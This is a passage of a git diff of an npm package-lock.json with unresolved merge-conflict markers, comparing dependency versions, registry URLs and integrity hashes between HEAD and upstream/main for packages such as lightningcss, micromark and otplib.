"sha512-RPimw/7aMdv2oqRrxKwvZXcPfwBrn/JZ2xYcY9Hus/6LaS3VOAKVWKWgNLCFSiOm1ESXinjsDlidVU7JlnCN2A==", +======= "version": "11.5.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.5.3.tgz", "integrity": "sha512-U4N8FgzmWxc8k1VH8Kr6lQg18U7Fjvby6wXHVRX/ZZ7IwWbRMgrRbP0Wrb5q5NVinryp4SQampHKdvtecItxUg==", +>>>>>>> upstream/main "dev": true, "license": "BlueOak-1.0.0", "engines": { "node": "20 || >=22" } }, +<<<<<<< HEAD +======= "node_modules/jsdom/node_modules/saxes": { "version": "6.0.0", "resolved": "https://registry.npmjs.org/saxes/-/saxes-6.0.0.tgz", @@ -11037,6 +13018,7 @@ "node": ">=20.18.1" } }, +>>>>>>> upstream/main "node_modules/jsesc": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", @@ -11120,9 +13102,15 @@ } }, "node_modules/jszip": { +<<<<<<< HEAD + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", + "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", +======= "version": "3.10.2", "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.2.tgz", "integrity": "sha512-3l+rb15IOWtUhU0H5MFqES/T6Kh7abYwjosBey/vD6hDt8zoEffkSC5Ws5SGtgVw3gBx2NEbhTeSW1+kWkpyTQ==", +>>>>>>> upstream/main "license": "(MIT OR GPL-3.0-or-later)", "dependencies": { "lie": "~3.3.0", @@ -11299,9 +13287,15 @@ } }, "node_modules/lightningcss": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.32.0.tgz", + "integrity": "sha512-NXYBzinNrblfraPGyrbPoD19C1h9lfI/1mzgWYvXUTe414Gz/X1FD2XBZSZM7rRTrMA8JL3OtAaGifrIKhQ5yQ==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss/-/lightningcss-1.33.0.tgz", "integrity": "sha512-WkUDrojuJs0xkgGf2udWxa3yGBRxPtxUkB79i6aCZLRgc7PM8fZe9TosfPDcvEpQZbuFASnHYmRLBLUbmLOIIA==", +>>>>>>> upstream/main "dev": true, "license": "MPL-2.0", "dependencies": { @@ -11315,6 +13309,25 @@ "url": "https://opencollective.com/parcel" }, "optionalDependencies": { +<<<<<<< HEAD + "lightningcss-android-arm64": "1.32.0", + "lightningcss-darwin-arm64": "1.32.0", + "lightningcss-darwin-x64": "1.32.0", + "lightningcss-freebsd-x64": "1.32.0", + "lightningcss-linux-arm-gnueabihf": "1.32.0", + "lightningcss-linux-arm64-gnu": "1.32.0", + "lightningcss-linux-arm64-musl": "1.32.0", + "lightningcss-linux-x64-gnu": "1.32.0", + "lightningcss-linux-x64-musl": "1.32.0", + "lightningcss-win32-arm64-msvc": "1.32.0", + "lightningcss-win32-x64-msvc": "1.32.0" + } + }, + "node_modules/lightningcss-android-arm64": { + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.32.0.tgz", + "integrity": "sha512-YK7/ClTt4kAK0vo6w3X+Pnm0D2cf2vPHbhOXdoNti1Ga0al1P4TBZhwjATvjNwLEBCnKvjJc2jQgHXH0NEwlAg==", +======= "lightningcss-android-arm64": "1.33.0", "lightningcss-darwin-arm64": "1.33.0", "lightningcss-darwin-x64": "1.33.0", @@ -11332,6 +13345,7 @@ "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-android-arm64/-/lightningcss-android-arm64-1.33.0.tgz", "integrity": "sha512-gEpRTalKdosp4Bb8qWtc2iOgE5SeIHlpS1up9bFq2wAyYhl1UdTObYiHe98zEM9SQvSoqQZ1IQD0JNpg3Ml5pg==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -11350,9 +13364,15 @@ } }, "node_modules/lightningcss-darwin-arm64": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.32.0.tgz", + "integrity": "sha512-RzeG9Ju5bag2Bv1/lwlVJvBE3q6TtXskdZLLCyfg5pt+HLz9BqlICO7LZM7VHNTTn/5PRhHFBSjk5lc4cmscPQ==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-darwin-arm64/-/lightningcss-darwin-arm64-1.33.0.tgz", "integrity": "sha512-Sciaz8eenNTKn9b3t7+xr0ipTp9YxKQY4npwQ3mrRuL0BAVHBLyZxofhaKBAVtzmtRZ/zTyo0/to4B1uWG/Djg==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -11371,9 +13391,15 @@ } }, "node_modules/lightningcss-darwin-x64": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.32.0.tgz", + "integrity": "sha512-U+QsBp2m/s2wqpUYT/6wnlagdZbtZdndSmut/NJqlCcMLTWp5muCrID+K5UJ6jqD2BFshejCYXniPDbNh73V8w==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-darwin-x64/-/lightningcss-darwin-x64-1.33.0.tgz", "integrity": "sha512-Z5UPAxzrjlWNNyGy6i65cJzzvgJ5D3T6wMvs+gWpY9d7qRhANrxqAp6LhxIgZhWEw18RfJTGcRxjuLIBr+m8XQ==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -11392,9 +13418,15 @@ } }, "node_modules/lightningcss-freebsd-x64": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.32.0.tgz", + "integrity": "sha512-JCTigedEksZk3tHTTthnMdVfGf61Fky8Ji2E4YjUTEQX14xiy/lTzXnu1vwiZe3bYe0q+SpsSH/CTeDXK6WHig==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-freebsd-x64/-/lightningcss-freebsd-x64-1.33.0.tgz", "integrity": "sha512-QQM/Ti/hQajJwCY+RiWuCZ9sdtI/XQk7nDK5vC8kkdwixezOlDgvDx7+RT+QjK6FcFT4MpsuoBnHIo/O3StRRg==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -11413,9 +13445,15 @@ } }, "node_modules/lightningcss-linux-arm-gnueabihf": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.32.0.tgz", + "integrity": "sha512-x6rnnpRa2GL0zQOkt6rts3YDPzduLpWvwAF6EMhXFVZXD4tPrBkEFqzGowzCsIWsPjqSK+tyNEODUBXeeVHSkw==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm-gnueabihf/-/lightningcss-linux-arm-gnueabihf-1.33.0.tgz", "integrity": "sha512-N7FVBe6iS24MlM6R/4RBTxGhQheZGs7tiQ9U32UtF75NzP5Q7xWPRqLBCKxlRQRk3rY1jCIPLzx7WzOhuUIRLQ==", +>>>>>>> upstream/main "cpu": [ "arm" ], @@ -11434,9 +13472,15 @@ } }, "node_modules/lightningcss-linux-arm64-gnu": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.32.0.tgz", + "integrity": "sha512-0nnMyoyOLRJXfbMOilaSRcLH3Jw5z9HDNGfT/gwCPgaDjnx0i8w7vBzFLFR1f6CMLKF8gVbebmkUN3fa/kQJpQ==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-gnu/-/lightningcss-linux-arm64-gnu-1.33.0.tgz", "integrity": "sha512-j2v/itmy4HlNxlc6voKXYgBqNi0Ng2LShg4z7GufpEgs05P+2suBVyi9I6YHq5uoVFx9ETin3eCEhLVyXGQnKg==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -11455,9 +13499,15 @@ } }, "node_modules/lightningcss-linux-arm64-musl": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.32.0.tgz", + "integrity": "sha512-UpQkoenr4UJEzgVIYpI80lDFvRmPVg6oqboNHfoH4CQIfNA+HOrZ7Mo7KZP02dC6LjghPQJeBsvXhJod/wnIBg==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-arm64-musl/-/lightningcss-linux-arm64-musl-1.33.0.tgz", "integrity": "sha512-yiO5ROMuYQgXbC60yjZU5CYSFZGKXL0HFATXt9mHJn1+zW55oCtMI9NfcVhYLMFDL7gV7oBPon/EmMMGg2OvtQ==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -11476,9 +13526,15 @@ } }, "node_modules/lightningcss-linux-x64-gnu": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.32.0.tgz", + "integrity": "sha512-V7Qr52IhZmdKPVr+Vtw8o+WLsQJYCTd8loIfpDaMRWGUZfBOYEJeyJIkqGIDMZPwPx24pUMfwSxxI8phr/MbOA==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-gnu/-/lightningcss-linux-x64-gnu-1.33.0.tgz", "integrity": "sha512-ar+Ju7LmcN0Jo4FpL4hpFybwNG9/3A/Br5KW2n2jyODg3MEZXaDYADdemoNS+BDNfMgKvylJLj4S5tyRActuAg==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -11497,9 +13553,15 @@ } }, "node_modules/lightningcss-linux-x64-musl": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.32.0.tgz", + "integrity": "sha512-bYcLp+Vb0awsiXg/80uCRezCYHNg1/l3mt0gzHnWV9XP1W5sKa5/TCdGWaR/zBM2PeF/HbsQv/j2URNOiVuxWg==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-linux-x64-musl/-/lightningcss-linux-x64-musl-1.33.0.tgz", "integrity": "sha512-RYiYbkokw0trfKqqzfF55lginwEPrD3OJDfTuJzFs1MK6iFnDenaz1fqLLtX4ITG3OktJQXOeTaw1awrBAlZPw==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -11518,9 +13580,15 @@ } }, "node_modules/lightningcss-win32-arm64-msvc": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.32.0.tgz", + "integrity": "sha512-8SbC8BR40pS6baCM8sbtYDSwEVQd4JlFTOlaD3gWGHfThTcABnNDBda6eTZeqbofalIJhFx0qKzgHJmcPTnGdw==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-win32-arm64-msvc/-/lightningcss-win32-arm64-msvc-1.33.0.tgz", "integrity": "sha512-1K+MPfLSFVpphzpdbfkhlWk6wBrTObBzS2T6db10PNOZgR9GoVsAWzwNyuhUYYbTp23j+4RrncfujZ4uAzXvwA==", +>>>>>>> upstream/main "cpu": [ "arm64" ], @@ -11539,9 +13607,15 @@ } }, "node_modules/lightningcss-win32-x64-msvc": { +<<<<<<< HEAD + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.32.0.tgz", + "integrity": "sha512-Amq9B/SoZYdDi1kFrojnoqPLxYhQ4Wo5XiL8EVJrVsB8ARoC1PWW6VGtT0WKCemjy8aC+louJnjS7U18x3b06Q==", +======= "version": "1.33.0", "resolved": "https://registry.npmjs.org/lightningcss-win32-x64-msvc/-/lightningcss-win32-x64-msvc-1.33.0.tgz", "integrity": "sha512-OlEICDx/Xl0FqSp4bry8zFnCvGpig3Gl4gCquvYwHuqJKEC1+n9NgDniFvqHGmMv1ZkqDJrDqKKSykTDX+ehuA==", +>>>>>>> upstream/main "cpu": [ "x64" ], @@ -11755,6 +13829,14 @@ } }, "node_modules/lucide-react": { +<<<<<<< HEAD + "version": "1.31.0", + "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-1.31.0.tgz", + "integrity": "sha512-G8u2eEtoHUnUa9f8lbvqDhCiORMnYLdUEo06EEG9MQvHQrInKcX3Pa2TH39MM5qyzRcWETxB0+aOwAPI1g1kEg==", + "license": "ISC", + "peerDependencies": { + "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" +======= "version": "1.52.0", "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-1.52.0.tgz", "integrity": "sha512-TUgPtl5ZI9WgxOcbu4ckaC5B3l1qxPQrCMgb6OfUB9owx/OvSJfcf93SMgUWAxRw5/1XDfh9uI5F5iNGXCcGDQ==", @@ -11767,6 +13849,7 @@ "@types/react": { "optional": true } +>>>>>>> upstream/main } }, "node_modules/lz-string": { @@ -11808,9 +13891,15 @@ } }, "node_modules/mdast-util-find-and-replace": { +<<<<<<< HEAD + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.2.tgz", + "integrity": "sha512-Tmd1Vg/m3Xz43afeNxDIhWRtFZgM2VLyaf4vSTYwudTyeuTneoL3qtWMA5jeLyz/O1vDJmmV4QuScFCA2tBPwg==", +======= "version": "3.0.3", "resolved": "https://registry.npmjs.org/mdast-util-find-and-replace/-/mdast-util-find-and-replace-3.0.3.tgz", "integrity": "sha512-xPgpDNl0/OXHsI7TlaIs22lWnH3KlpvZdXG1ET/m/YT2Hhdkx8lJV4kLphE6l9simyM4KPDFBwas08BgEob6Jw==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@types/mdast": "^4.0.0", @@ -11836,9 +13925,15 @@ } }, "node_modules/mdast-util-from-markdown": { +<<<<<<< HEAD + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.0.3.tgz", + "integrity": "sha512-W4mAWTvSlKvf8L6J+VN9yLSqQ9AOAAvHuoDAmPkz4dHf553m5gVj2ejadHJhoJmcmxEnOv6Pa8XJhpxE93kb8Q==", +======= "version": "2.1.0", "resolved": "https://registry.npmjs.org/mdast-util-from-markdown/-/mdast-util-from-markdown-2.1.0.tgz", "integrity": "sha512-KRLgmPaP2H1ul2bpoJkOS+9pAcDAAj9Nu1mqLnh8NLeJG5tlvj42TH80PIGBpROWlRXLk0lDrWNuZCFy/tsB4A==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@types/mdast": "^4.0.0", @@ -11913,9 +14008,15 @@ } }, "node_modules/mdast-util-gfm-strikethrough": { +<<<<<<< HEAD + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.0.tgz", + "integrity": "sha512-mKKb915TF+OC5ptj5bJ7WFRPdYtuHv0yTRxK2tJvi+BDqbkiG7h7u/9SI89nRAYcmap2xHQL9D+QG/6wSrTtXg==", +======= "version": "2.0.1", "resolved": "https://registry.npmjs.org/mdast-util-gfm-strikethrough/-/mdast-util-gfm-strikethrough-2.0.1.tgz", "integrity": "sha512-OuJHqvr455pwu2OaOrir7dbzqs4jlWKOtlu9L6GjcIjjQwNyw02VntQsr/Ek6/A13vgnXfUhBekWRUP1OkNivw==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@types/mdast": "^4.0.0", @@ -12056,9 +14157,15 @@ } }, "node_modules/mdast-util-to-markdown": { +<<<<<<< HEAD + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.1.2.tgz", + "integrity": "sha512-xj68wMTvGXVOKonmog6LwyJKrYXZPvlwabaryTjLh9LuvovB/KAH+kvi8Gjj+7rJjsFi23nkUxRQv1KqSroMqA==", +======= "version": "2.2.0", "resolved": "https://registry.npmjs.org/mdast-util-to-markdown/-/mdast-util-to-markdown-2.2.0.tgz", "integrity": "sha512-2Jn/ADrHFFyyniBMi0bncTbJqU78K3/TEYvzvwrWWzD9MYPUa/Gm4r3nOeKFQg/PDM5BsbDYdc8ackW4NTY6NA==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "@types/mdast": "^4.0.0", @@ -12066,10 +14173,15 @@ "longest-streak": "^3.0.0", "mdast-util-phrasing": "^4.0.0", "mdast-util-to-string": "^4.0.0", +<<<<<<< HEAD + "micromark-util-classify-character": "^2.0.0", + "micromark-util-decode-string": "^2.0.0", +======= "micromark-util-character": "^2.0.0", "micromark-util-classify-character": "^2.0.0", "micromark-util-decode-string": "^2.0.0", "micromark-util-html-tag-name": "^2.0.0", +>>>>>>> upstream/main "unist-util-visit": "^5.0.0", "zwitch": "^2.0.0" }, @@ -12119,10 +14231,26 @@ "node": ">= 8" } }, +<<<<<<< HEAD + "node_modules/meriyah": { + "version": "6.1.4", + "resolved": "https://registry.npmjs.org/meriyah/-/meriyah-6.1.4.tgz", + "integrity": "sha512-Sz8FzjzI0kN13GK/6MVEsVzMZEPvOhnmmI1lU5+/1cGOiK3QUahntrNNtdVeihrO7t9JpoH75iMNXg6R6uWflQ==", + "license": "ISC", + "engines": { + "node": ">=18.0.0" + } + }, + "node_modules/micromark": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.2.tgz", + "integrity": "sha512-zpe98Q6kvavpCr1NPVSCMebCKfD7CA2NqZ+rykeNhONIJBpc1tFKt9hucLGwha3jNTNI8lHpctWJWoimVF4PfA==", +======= "node_modules/micromark": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/micromark/-/micromark-4.0.3.tgz", "integrity": "sha512-oGYfQzHSG5dOMovQcJ3fyTmZlWAWpi0XA0sJwJs+i6OT88o1+Jtw/8z0CmdowSLxGhhFK89rQ/oXph/wN02PNw==", +>>>>>>> upstream/main "funding": [ { "type": "GitHub Sponsors", @@ -12145,7 +14273,10 @@ "micromark-util-chunked": "^2.0.0", "micromark-util-combine-extensions": "^2.0.0", "micromark-util-decode-numeric-character-reference": "^2.0.0", +<<<<<<< HEAD +======= "micromark-util-edit-map": "^1.0.0", +>>>>>>> upstream/main "micromark-util-encode": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", @@ -12156,9 +14287,15 @@ } }, "node_modules/micromark-core-commonmark": { +<<<<<<< HEAD + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.3.tgz", + "integrity": "sha512-RDBrHEMSxVFLg6xvnXmb1Ayr2WzLAWjeSATAoxwKYJV94TeNavgoIdA0a9ytzDSVzBy2YKFK+emCPOEibLeCrg==", +======= "version": "2.0.4", "resolved": "https://registry.npmjs.org/micromark-core-commonmark/-/micromark-core-commonmark-2.0.4.tgz", "integrity": "sha512-wxEeE8v8XVvOrxn1TZj74qYhAtTQsSqufHVS3uNVyT1MupXxhyaHk8/9xDNPh9BmL77QNDgWTkZ3RsYHB2ry7w==", +>>>>>>> upstream/main "funding": [ { "type": "GitHub Sponsors", @@ -12175,19 +14312,30 @@ "devlop": "^1.0.0", "micromark-factory-destination": "^2.0.0", "micromark-factory-label": "^2.0.0", +<<<<<<< HEAD + "micromark-factory-space": "^2.0.0", +======= "micromark-factory-space": "^2.1.0", +>>>>>>> upstream/main "micromark-factory-title": "^2.0.0", "micromark-factory-whitespace": "^2.0.0", "micromark-util-character": "^2.0.0", "micromark-util-chunked": "^2.0.0", "micromark-util-classify-character": "^2.0.0", +<<<<<<< HEAD +======= "micromark-util-edit-map": "^1.0.0", +>>>>>>> upstream/main "micromark-util-html-tag-name": "^2.0.0", "micromark-util-normalize-identifier": "^2.0.0", "micromark-util-resolve-all": "^2.0.0", "micromark-util-subtokenize": "^2.0.0", "micromark-util-symbol": "^2.0.0", +<<<<<<< HEAD + "micromark-util-types": "^2.0.0" +======= "micromark-util-types": "^2.0.3" +>>>>>>> upstream/main } }, "node_modules/micromark-extension-gfm": { @@ -12265,9 +14413,15 @@ } }, "node_modules/micromark-extension-gfm-table": { +<<<<<<< HEAD + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.1.tgz", + "integrity": "sha512-t2OU/dXXioARrC6yWfJ4hqB7rct14e8f7m0cbI5hUmDyyIlwv5vEtooptH8INkbLzOatzKuVbQmAYcbWoyz6Dg==", +======= "version": "2.1.2", "resolved": "https://registry.npmjs.org/micromark-extension-gfm-table/-/micromark-extension-gfm-table-2.1.2.tgz", "integrity": "sha512-pRzm4kDTu0MjlmBkxmS9yYhw60nncfcEwu9NNdPFSQEFXS95ZKyIIyTSHu/o3ReBUrLKYEq+7YaXCRn/bPB4MA==", +>>>>>>> upstream/main "license": "MIT", "dependencies": { "devlop": "^1.0.0", @@ -12355,9 +14509,15 @@ } }, "node_modules/micromark-factory-space": { +<<<<<<< HEAD + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.0.1.tgz", + "integrity": "sha512-zRkxjtBxxLd2Sc0d+fbnEunsTj46SWXgXciZmHq0kDYGnck/ZSGj9/wULTV95uoeYiK5hRXP2mJ98Uo4cq/LQg==", +======= "version": "2.1.0", "resolved": "https://registry.npmjs.org/micromark-factory-space/-/micromark-factory-space-2.1.0.tgz", "integrity": "sha512-fS8hnLIjnjvdQIj39Geug8wWsR0HrYZ43KShKxNfwT7t2LOHo/LbWZEzEaSOjwtjdCsjoE6syHhonEzW0zv0+Q==", +>>>>>>> upstream/main "funding": [ { "type": "GitHub Sponsors", @@ -12539,6 +14699,8 @@ "micromark-util-symbol": "^2.0.0" } }, +<<<<<<< HEAD +======= "node_modules/micromark-util-edit-map": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/micromark-util-edit-map/-/micromark-util-edit-map-1.0.0.tgz", @@ -12558,6 +14720,7 @@ "micromark-util-types": "^2.0.0" } }, +>>>>>>> upstream/main "node_modules/micromark-util-encode": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/micromark-util-encode/-/micromark-util-encode-2.0.1.tgz", @@ -12688,9 +14851,15 @@ "license": "MIT" }, "node_modules/micromark-util-types": { +<<<<<<< HEAD + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.2.tgz", + "integrity": "sha512-Yw0ECSpJoViF1qTU4DC6NwtC4aWGt1EkzaQB8KPPyCRR8z9TWeV0HbEFGTO+ZY1wB22zmxnJqhPyTpOVCpeHTA==", +======= "version": "2.0.3", "resolved": "https://registry.npmjs.org/micromark-util-types/-/micromark-util-types-2.0.3.tgz", "integrity": "sha512-oxB2Ik03hI0gv+VNn9tnh1t1YEe9MDPptViAEgfdf3YQHsn0pzGTgCdlSCJXcwhqm8phaEuM7zeEu3QQzVBrPg==", +>>>>>>> upstream/main "funding": [ { "type": "GitHub Sponsors", @@ -12855,9 +15024,15 @@ } }, "node_modules/nanoid": { +<<<<<<< HEAD + "version": "3.3.15", + "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.15.tgz", + "integrity": "sha512-y7Wygv/7mEOvxTuEQDB8StXdMRBWf1kR/tlhAzBRUFkB2jfcLOAxO/SHmOO2zgz1pVgK29/kyupn059/bCHdjA==", +======= "version": "3.3.20", "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.20.tgz", "integrity": "sha512-uKdg2G3GNCKQn9byYOpxbGqrT2fGO5KRt5J/8b3pok8rT6qxGWF6hxMyJiEYtAf+FVyYuD9hRaDqX5uPFYJ4ZQ==", +>>>>>>> upstream/main "funding": [ { "type": "github", @@ -13003,6 +15178,8 @@ "url": "https://github.com/sponsors/ljharb" } }, +<<<<<<< HEAD +======= "node_modules/node-exports-info/node_modules/semver": { "version": "6.3.1", "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.1.tgz", @@ -13013,6 +15190,7 @@ "semver": "bin/semver.js" } }, +>>>>>>> upstream/main "node_modules/node-fetch": { "version": "2.7.0", "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.7.0.tgz", @@ -13056,9 +15234,15 @@ } }, "node_modules/node-releases": { +<<<<<<< HEAD + "version": "2.0.54", + "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.54.tgz", + "integrity": "sha512-YHs7BmmcsdAI5Ozuf8JZo6PT0mv2GIWC9vMfvUC3dp65M8hn7Ux8CPL+2oBI7juNuj9d0ndhTcznq2ODBps9cQ==", +======= "version": "2.0.57", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.57.tgz", "integrity": "sha512-kQK9LGGFiHtrWiNhZtA7Qbw17AQz+dmsEKODRIVTXA9+e5MS/2gZEBhYJt13GrAz5/IOZKddH/0Z3TP/Zgo+yw==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=18" @@ -13224,9 +15408,15 @@ } }, "node_modules/obug": { +<<<<<<< HEAD + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/obug/-/obug-2.1.3.tgz", + "integrity": "sha512-9miFgM2OFba7hB+pRgvtV84pYTBaoTHohvmIgiRt6dRIzbwEOIaNaP+dIlGs2fNFoB0SeISs0Jz5WFVRid6Xyg==", +======= "version": "2.2.1", "resolved": "https://registry.npmjs.org/obug/-/obug-2.2.1.tgz", "integrity": "sha512-XrsrhT5sybtKI6wakr2SPOlGZWWYbUXZ7a0jT8/QOeAPau+1X/bSegNe5YR75oJmEZQbKningirmGOEJCIk61Q==", +>>>>>>> upstream/main "dev": true, "funding": [ "https://github.com/sponsors/sxzz", @@ -13261,6 +15451,8 @@ "url": "https://github.com/sponsors/sindresorhus" } }, +<<<<<<< HEAD +======= "node_modules/opencollective-postinstall": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/opencollective-postinstall/-/opencollective-postinstall-2.0.3.tgz", @@ -13270,6 +15462,7 @@ "opencollective-postinstall": "index.js" } }, +>>>>>>> upstream/main "node_modules/opener": { "version": "1.5.2", "resolved": "https://registry.npmjs.org/opener/-/opener-1.5.2.tgz", @@ -13314,6 +15507,28 @@ } }, "node_modules/otplib": { +<<<<<<< HEAD + "version": "13.4.1", + "resolved": "https://registry.npmjs.org/otplib/-/otplib-13.4.1.tgz", + "integrity": "sha512-o5CxfDw6bh7hoDv0NUUIcc0RqzJ9ipfUrzeKheKJ+vs4rXZnDlA9n4a/7R1cDjpmLjKLix4BgNVRmoDkm5rLSQ==", + "license": "MIT", + "dependencies": { + "@otplib/core": "13.4.1", + "@otplib/hotp": "13.4.1", + "@otplib/plugin-base32-scure": "13.4.1", + "@otplib/plugin-crypto-noble": "13.4.1", + "@otplib/totp": "13.4.1", + "@otplib/uri": "13.4.1" + } + }, + "node_modules/own-keys": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/own-keys/-/own-keys-1.0.1.tgz", + "integrity": "sha512-qFOyK5PjiWZd+QQIh+1jhdb9LpxTF0qs7Pm8o5QHYZ0M3vKqSqzsZaEB6oWlxZ+q2sJBMI/Ktgd2N5ZwQoRHfg==", + "license": "MIT", + "dependencies": { + "get-intrinsic": "^1.2.6", +======= "version": "13.5.0", "resolved": "https://registry.npmjs.org/otplib/-/otplib-13.5.0.tgz", "integrity": "sha512-RpcC6aq4rANX6MverMuU3pqHVLgMPO7vl6qR8ga7YzoEHlPJknJ58cSVAaf3jBYnasiQVQHXXl2mj/4pYlsVEQ==", @@ -13335,6 +15550,7 @@ "dependencies": { "call-bound": "^1.0.4", "get-intrinsic": "^1.3.0", +>>>>>>> upstream/main "object-keys": "^1.1.1", "safe-push-apply": "^1.0.0" }, @@ -13516,6 +15732,8 @@ "dev": true, "license": "MIT" }, +<<<<<<< HEAD +======= "node_modules/pdfkit": { "version": "0.20.1", "resolved": "https://registry.npmjs.org/pdfkit/-/pdfkit-0.20.1.tgz", @@ -13542,6 +15760,7 @@ "url": "https://paulmillr.com/funding/" } }, +>>>>>>> upstream/main "node_modules/picocolors": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-1.1.1.tgz", @@ -13549,9 +15768,15 @@ "license": "ISC" }, "node_modules/picomatch": { +<<<<<<< HEAD + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.4.tgz", + "integrity": "sha512-QP88BAKvMam/3NxH6vj2o21R6MjxZUAd6nlwAS/pnGvN9IVLocLHxGYIzFhg6fUQ+5th6P4dv4eW9jX3DSIj7A==", +======= "version": "4.0.7", "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.7.tgz", "integrity": "sha512-qcJu88Q2IWqJsDD529JKMdwGm/dvInW4HvQnRwiH9JtihJvzGOscDtHE3x1pBKeUOTysQ8kVmLnJ2kJu7yhcGA==", +>>>>>>> upstream/main "license": "MIT", "engines": { "node": ">=12" @@ -13560,6 +15785,19 @@ "url": "https://github.com/sponsors/jonschlinkert" } }, +<<<<<<< HEAD + "node_modules/pify": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz", + "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==", + "dev": true, + "license": "MIT", + "engines": { + 